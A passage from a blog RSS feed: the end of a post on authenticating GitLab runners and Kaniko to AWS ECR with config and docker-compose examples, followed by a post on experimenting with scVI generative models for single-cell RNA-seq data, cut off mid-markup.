<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>[default]</span></span>
<span class="giallo-l"><span>role_arn=arn:aws:iam::ACCOUNT_ID:role/assume-role-{{ROLE_NAME}}</span></span>
<span class="giallo-l"><span>credential_source=Ec2InstanceMetadata</span></span>
<span class="giallo-l"><span>region=ap-south-1</span></span></code></pre>
<p>You can put in your normal AWS Keys or leave them blank if you want to use your IAM Role. With mounting the AWS Credentials inside Kaniko’s container, you can authenticate to cross-account ECRs as well (once you set up the whole assumed-role/trusted entities flow).</p>
<h3 id="sample-runner">Sample Runner<a class="zola-anchor" href="#sample-runner" aria-label="Anchor link for: sample-runner">#</a></h3>
<p>If you want to take a look at how the complete flow looks like:</p>
<ul>
<li>Start the Runner service using <code>docker-compose</code>:</li>
</ul>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">v</span><span style="color: light-dark(#22863A, #8DDB8C);">ersion</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">3.7</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">s</span><span style="color: light-dark(#22863A, #8DDB8C);">ervices</span><span>:</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  t</span><span style="color: light-dark(#22863A, #8DDB8C);">est</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> As explained above, this image has `docker-credentials-ecr-login` baked in.</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span> {</span><span>{</span><span style="color: light-dark(#032F62, #96D0FF);">A</span><span style="color: light-dark(#032F62, #96D0FF);">CCOUNT_ID</span><span>}</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">dkr.ecr.ap-south-1.amazonaws.com/custom/gitlab-runner:13.8.0</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    r</span><span style="color: light-dark(#22863A, #8DDB8C);">estart</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> a</span><span style="color: light-dark(#032F62, #96D0FF);">lways</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    v</span><span style="color: light-dark(#032F62, #96D0FF);">olumes</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">      #</span><span style="color: light-dark(#6A737D, #768390);"> Automatically created; config.toml.</span></span>
<span class="giallo-l"><span>      - </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">./test/runner-config:/etc/gitlab-runner</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">      #</span><span style="color: light-dark(#6A737D, #768390);"> Mount AWS Credentials for Docker Executor to authenticate.</span></span>
<span class="giallo-l"><span>      - </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">./test/aws-credentials:/root/.aws/credentials:ro</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">      #</span><span style="color: light-dark(#6A737D, #768390);"> Mount Docker Socket so that executor can communicate with it.</span></span>
<span class="giallo-l"><span>      - </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">/var/run/docker.sock:/var/run/docker.sock</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span></code></pre>
<ul>
<li>Register a new runner:</li>
</ul>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>docker-compose exec test register</span></span></code></pre>
<p>Fill in the basic info and edit <code>./test/runner-config.toml</code> with the following options:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>[[runners]]</span></span>
<span class="giallo-l"><span>  name = &quot;Test&quot;</span></span>
<span class="giallo-l"><span>  executor = &quot;docker&quot;</span></span>
<span class="giallo-l"><span>  environment = [&quot;DOCKER_AUTH_CONFIG={ \&quot;credsStore\&quot;: \&quot;ecr-login\&quot; }&quot;]</span></span>
<span class="giallo-l"><span>  [runners.docker]</span></span>
<span class="giallo-l"><span>    volumes = [&quot;/home/ubuntu/runners/test/aws-credentials:/root/.aws/credentials:ro&quot;]</span></span></code></pre><h2 id="conclusion">Conclusion<a class="zola-anchor" href="#conclusion" aria-label="Anchor link for: conclusion">#</a></h2>
<p>Honestly, this was a lot of trial and error to figure out how to use private images with Gitlab. Some important links and references that helped me figure this out:</p>
<ul>
<li><a rel="external" href="https://gitlab.com/bmares/gitlab-runner-ecr-auth-example/">https://gitlab.com/bmares/gitlab-runner-ecr-auth-example/</a></li>
<li><a rel="external" href="https://gitlab.com/gitlab-org/gitlab-runner/-/issues/1583#note_84649153">https://gitlab.com/gitlab-org/gitlab-runner/-/issues/1583#note_84649153</a></li>
</ul>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Experiments with scVI]]></title>
            <link>https://saket-choudhary.me/blog/2020/12/27/scvi/</link>
            <guid isPermaLink="false">https://saket-choudhary.me/blog/2020/12/27/scvi/</guid>
            <pubDate>Sat, 26 Dec 2020 18:30:00 GMT</pubDate>
            <description><![CDATA[scvi-tools exists as a suite of tools for performing dimensionality reduction,
data harmonization, and differential expression. One key advantage of using scvi-tools
is that it inherently supports loading and training data in mini-batches and hence
is practically infinitely scalable (Lopez et al., 2018).
scvi-tools uses generative modeling to model counts originating from a scRNA-seq experiment
with different underlying models catering to other experiments. “Generative modeling” is 
a broad term that implies models of distributions  P(X)P(X)P(X) , defined over some collection of
datapoints  XXX  that exist in a high dimensional space. In scRNA-seq, each datapoint corresponds to a
cell $c$ which has a multidimensional vector Xc,g∈R20000X_{c,g} \in \mathcal{R}^{20000}Xc,g​∈R20000 containing read counts or UMIs
of 20000 genes. A scRNA-seq datasets contains not one but a few thousand if not millions of cells.
The generative model’s task is to capture the underlying representation of these cells. 
“Representation” here is a loose term, but more formally given a  gene×cell\text{gene} \times \text{cell}gene×cell 
matrix whose distribution  Ptruth(X)P_{\text{truth}}(X)Ptruth​(X) is unknown, the generative model tries to learn
a distribution  P(X)P(X)P(X)  which is as close to  Ptruth(X)P_{\text{truth}}(X)Ptruth​(X)  as possible.
In order to obtain  P(X)P(X)P(X) , the model should be able to exploit the underlying structure in data.
Neural networks are powerful functional approximators given their ability to capture non-linearities.
Variational autoencoders utilize neural networks to build generative models that can approximate  Ptruth(X)P_{truth}(X)Ptruth​(X) 
in a decently quick fashion. The reason this works is because any $d$ dimensional distribution can
be approximated by starting with $d$ gaussian random variables and passing them through a complicated
function (Devroye, 1986). A famous example of this is generating a 2D circle
from a 2D gaussian blob.
  Figure 1. 
    A 2D gaussian blob can be passed through a sufficiently complicated function g(z)=zα+z∣∣z∣∣g(z) = \frac{z}{\alpha} + \frac{z}{||z||}g(z)=αz​+∣∣z∣∣z​ 
    to obtain a 2D ring.
    



scvi-tools also starts from a gaussian random variable and propogates it through its various layers
such that the output count for a gene and a particular cells is close to its observed value. It
does it over four main steps:
Generate a gaussian
Pass the gaussian through a neural network to approximate gene-cell proportions ($\rho_{g,c}$)
Generate a count $y_{c,g}$ for each gene-cell using the estimated proportion in step 2 and and the total sequencing depth
along with an estimated dispersion $\phi_g$.
Calculate reconstruction error between generated count $y_{c,g}$ and observed count $x_{c,g}$
The aim is to minimize the reconstruction error in step 4 by optimizing the neural network weights and the estimated
parameters $\rho_{c,g}$ and $\theta_g$.
zc∼N(0,I)Cell embeddingρg,c∼softmax(fw(zc))Normalized expression yc,g∼NB(lcρc,g,ϕg)Observed counts
\begin{aligned}
    {\color{purple}z_c} &\sim \mathcal{N}(0,I) & \text{\color{purple}Cell embedding} \\
    {\color{red}\rho_{g,c}} &\sim \text{softmax}(f_w(z_c)) & \text{\color{red}Normalized expression } \\
    y_{c,g} &\sim \text{NB}({\color{blue} l_c} {\color{red}\rho_{c,g}}, \phi_g) & \text{Observed counts} 
\end{aligned}
zc​ρg,c​yc,g​​∼N(0,I)∼softmax(fw​(zc​))∼NB(lc​ρc,g​,ϕg​)​Cell embeddingNormalized expression Observed counts​
The total sequencing depth for a cell can be also be learned by the network inherently, but the latest version (0.8.0) of
scVI supports using observed library size. I started using observed library sizes before it became
part of the implementation. The training time is faster and in my limited testing, the downstream clustering
results look slightly better with using observed library size, but it could also be due to other reasons.
The latent distribution $Z$ thus learned is a reduced dimensional latent reprsentation of the data. I will use [PBMC3k
dataset] (https://support.10xgenomics.com/single-cell-gene-expression/datasets/1.1.0/pbmc3k) for all the analysis here. We can do a 
UMAP visualization and the clusters tend to match up pretty well with ground truth, though there is possiblity
of improvement.
  Figure 1.
      UMAP on the latent representation learned by scvi on PBMC3k dataset.
    



We now have a $P(Y)$ and access to all intermediate values we can do a ton of things. But
the first thing would be to check if $P(Y)$ is indeed correct. One such way of performing validity checks on this
model is posterior predictive checks (PPC). I learned of PPCs through Richard McElreath’s
Statistical Rethinking (McElreath, 2020), which forms an integral part of all his discussions.
The idea of a PPC is very simple: simulate replicate data from the learned model and compare it to the observed.
In a way you are using your data twice, to learn the model and then using the learned model to check it against
the same data. A better designed check would be done on held out dataset, but it is perfectly valid to test
the model against the observations used to train the model.
The simplest checks for scRNA-seq counts is the mean-variance relationships. The simulated means and variances
from the learned model should match that of the observed data on both a cell and a gene level.
Figure 2. 
        Comparison of generated against observed means, variance and mean-variance relationships.
      
The simulated mean-variance relationship aligns very well with the observed relationship.
Let’s compare how the dispersion looks like:
Figure 3. 
        Comparison of generated against observed means, variance and mean-variance.
      
 
    


Variation with gene detection rate:
Figure 4. 
        Comparison of generated against observed means, variance and mean-variance.
      
 
    


The loss function being minizmied to infere the parameters minimizes the reconstruction loss between generated counts 
$X$ and observed counts $Y$.
Figure 5. 
        Comparison of generated against observed means, variance and mean-variance.
      
 
    


One thing I still need to wrap around my head is how much informative the reconstruction error itself is. For example, a UMAP
of this reconstruction error mimics that of the latent representation:
Figure 5. 
        Comparison of generated against observed means, variance and mean-variance.
      
 
    



Lopez, R., Regier, J., Cole, M. B., Jordan, M. I., & Yosef, N. (2018). Deep generative modeling for single-cell transcriptomics. Nature Methods, 15(12), 1053–1058.
Devroye, L. (1986). Sample-based non-uniform random variate generation. Proceedings of the 18th Conference on Winter Simulation, 260–265.
McElreath, R. (2020). Statistical rethinking: A Bayesian course with examples in R and Stan. CRC press.
Ma, S., Zhang, B., LaFave, L. M., Earl, A. S., Chiang, Z., Hu, Y., Ding, J., Brack, A., Kartha, V. K., Tay, T., & others. (2020). Chromatin potential identified by shared single-cell profiling of RNA and chromatin. Cell, 183(4), 1103–1116.]]></description>
            <content:encoded><![CDATA[<p><a href="https://www.scvi-tools.org/en/stable/">scvi-tools</a> exists as a suite of tools for performing dimensionality reduction,
data harmonization, and differential expression. One key advantage of using scvi-tools
is that it inherently supports loading and training data in mini-batches and hence
is practically infinitely scalable <a class="citation" href="#lopez2018deep">(Lopez et al., 2018)</a>.</p>

<p>scvi-tools uses generative modeling to model counts originating from a scRNA-seq experiment
with different underlying models catering to other experiments. “Generative modeling” is 
a broad term that implies models of distributions  <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mo stretchy="false">(</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">P(X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span> , defined over some collection of
datapoints  <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi></mrow><annotation encoding="application/x-tex">X</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.07847em;">X</span></span></span></span>  that exist in a high dimensional space. In scRNA-seq, each datapoint corresponds to a
cell $c$ which has a multidimensional vector <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>X</mi><mrow><mi>c</mi><mo separator="true">,</mo><mi>g</mi></mrow></msub><mo>∈</mo><msup><mi mathvariant="script">R</mi><mn>20000</mn></msup></mrow><annotation encoding="application/x-tex">X_{c,g} \in \mathcal{R}^{20000}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.969438em;vertical-align:-0.286108em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.15139200000000003em;"><span style="top:-2.5500000000000003em;margin-left:-0.07847em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">c</span><span class="mpunct mtight">,</span><span class="mord mathdefault mtight" style="margin-right:0.03588em;">g</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord"><span class="mord mathcal">R</span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mtight">0</span><span class="mord mtight">0</span><span class="mord mtight">0</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></span> containing read counts or UMIs
of 20000 genes. A scRNA-seq datasets contains not one but a few thousand if not millions of cells.
The generative model’s task is to capture the underlying representation of these cells. 
“Representation” here is a loose term, but more formally given a  <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>gene</mtext><mo>×</mo><mtext>cell</mtext></mrow><annotation encoding="application/x-tex">\text{gene} \times \text{cell}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7777700000000001em;vertical-align:-0.19444em;"></span><span class="mord text"><span class="mord">gene</span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord text"><span class="mord">cell</span></span></span></span></span> 
matrix whose distribution  <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>P</mi><mtext>truth</mtext></msub><mo stretchy="false">(</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">P_{\text{truth}}(X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">truth</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span> is unknown, the generative model tries to learn
a distribution  <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mo stretchy="false">(</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">P(X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span>  which is as close to  <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>P</mi><mtext>truth</mtext></msub><mo stretchy="false">(</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">P_{\text{truth}}(X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">truth</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span>  as possible.</p>

<p>In order to obtain  <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mo stretchy="false">(</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">P(X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span> , the model should be able to exploit the underlying structure in data.
Neural networks are powerful functional approximators given their ability to capture non-linearities.
Variational autoencoders utilize neural networks to build generative models that can approximate  <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>P</mi><mrow><mi>t</mi><mi>r</mi><mi>u</mi><mi>t</mi><mi>h</mi></mrow></msub><mo stretchy="false">(</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">P_{truth}(X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">t</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">u</span><span class="mord mathdefault mtight">t</span><span class="mord mathdefault mtight">h</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span> 
in a decently quick fashion. The reason this works is because any $d$ dimensional distribution can
be approximated by starting with $d$ gaussian random variables and passing them through a complicated
function <a class="citation" href="#devroye1986sample">(Devroye, 1986)</a>. A famous example of this is generating a 2D circle
from a 2D gaussian blob.</p>

<div class="figure">
    <img src="https://saket-choudhary.me/assets/images/scvi-1/fig00_gaussian_ring.png" style="width: 80%; display: block; margin: 0 auto;" />
    <center><div class="caption">  <span class="caption-label">Figure 1.</span> 
    A 2D gaussian blob can be passed through a sufficiently complicated function <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>g</mi><mo stretchy="false">(</mo><mi>z</mi><mo stretchy="false">)</mo><mo>=</mo><mfrac><mi>z</mi><mi>α</mi></mfrac><mo>+</mo><mfrac><mi>z</mi><mrow><mi mathvariant="normal">∣</mi><mi mathvariant="normal">∣</mi><mi>z</mi><mi mathvariant="normal">∣</mi><mi mathvariant="normal">∣</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">g(z) = \frac{z}{\alpha} + \frac{z}{||z||}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.04398em;">z</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.040392em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.695392em;"><span style="top:-2.6550000000000002em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.0037em;">α</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.04398em;">z</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.215392em;vertical-align:-0.52em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.695392em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">∣</span><span class="mord mtight">∣</span><span class="mord mathdefault mtight" style="margin-right:0.04398em;">z</span><span class="mord mtight">∣</span><span class="mord mtight">∣</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.04398em;">z</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.52em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span> 
    to obtain a 2D ring.
    </div></center>
</div>

<p>scvi-tools also starts from a gaussian random variable and propogates it through its various layers
such that the output count for a gene and a particular cells is close to its observed value. It
does it over four main steps:</p>

<ol>
  <li>
    <p>Generate a gaussian</p>
  </li>
  <li>
    <p>Pass the gaussian through a neural network to approximate gene-cell proportions ($\rho_{g,c}$)</p>
  </li>
  <li>
    <p>Generate a count $y_{c,g}$ for each gene-cell using the estimated proportion in step 2 and and the total sequencing depth
along with an estimated dispersion $\phi_g$.</p>
  </li>
  <li>
    <p>Calculate reconstruction error between generated count $y_{c,g}$ and observed count $x_{c,g}$</p>
  </li>
</ol>

<p>The aim is to minimize the reconstruction error in step 4 by optimizing the neural network weights and the estimated
parameters $\rho_{c,g}$ and $\theta_g$.</p>

<p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mtable rowspacing="0.24999999999999992em" columnalign="right left right" columnspacing="0em 1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mstyle mathcolor="purple"><msub><mi>z</mi><mi>c</mi></msub></mstyle></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>∼</mo><mi mathvariant="script">N</mi><mo stretchy="false">(</mo><mn>0</mn><mo separator="true">,</mo><mi>I</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mstyle mathcolor="purple"><mtext>Cell embedding</mtext></mstyle></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mstyle mathcolor="red"><msub><mi>ρ</mi><mrow><mi>g</mi><mo separator="true">,</mo><mi>c</mi></mrow></msub></mstyle></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>∼</mo><mtext>softmax</mtext><mo stretchy="false">(</mo><msub><mi>f</mi><mi>w</mi></msub><mo stretchy="false">(</mo><msub><mi>z</mi><mi>c</mi></msub><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mstyle mathcolor="red"><mtext>Normalized expression </mtext></mstyle></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><msub><mi>y</mi><mrow><mi>c</mi><mo separator="true">,</mo><mi>g</mi></mrow></msub></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>∼</mo><mtext>NB</mtext><mo stretchy="false">(</mo><mstyle mathcolor="blue"><msub><mi>l</mi><mi>c</mi></msub></mstyle><mstyle mathcolor="red"><msub><mi>ρ</mi><mrow><mi>c</mi><mo separator="true">,</mo><mi>g</mi></mrow></msub></mstyle><mo separator="true">,</mo><msub><mi>ϕ</mi><mi>g</mi></msub><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mtext>Observed counts</mtext></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">
\begin{aligned}
    {\color{purple}z_c} &amp;\sim \mathcal{N}(0,I) &amp; \text{\color{purple}Cell embedding} \\
    {\color{red}\rho_{g,c}} &amp;\sim \text{softmax}(f_w(z_c)) &amp; \text{\color{red}Normalized expression } \\
    y_{c,g} &amp;\sim \text{NB}({\color{blue} l_c} {\color{red}\rho_{c,g}}, \phi_g) &amp; \text{Observed counts} 
\end{aligned}
</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.500000000000002em;vertical-align:-2.000000000000001em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.5000000000000004em;"><span style="top:-4.66em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord" style="color:purple;"><span class="mord mathdefault" style="margin-right:0.04398em;color:purple;">z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:-0.04398em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight" style="color:purple;"><span class="mord mathdefault mtight" style="color:purple;">c</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3.16em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord" style="color:red;"><span class="mord mathdefault" style="color:red;">ρ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.15139200000000003em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight" style="color:red;"><span class="mord mtight" style="color:red;"><span class="mord mathdefault mtight" style="margin-right:0.03588em;color:red;">g</span><span class="mpunct mtight" style="color:red;">,</span><span class="mord mathdefault mtight" style="color:red;">c</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-1.6599999999999993em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.15139200000000003em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord 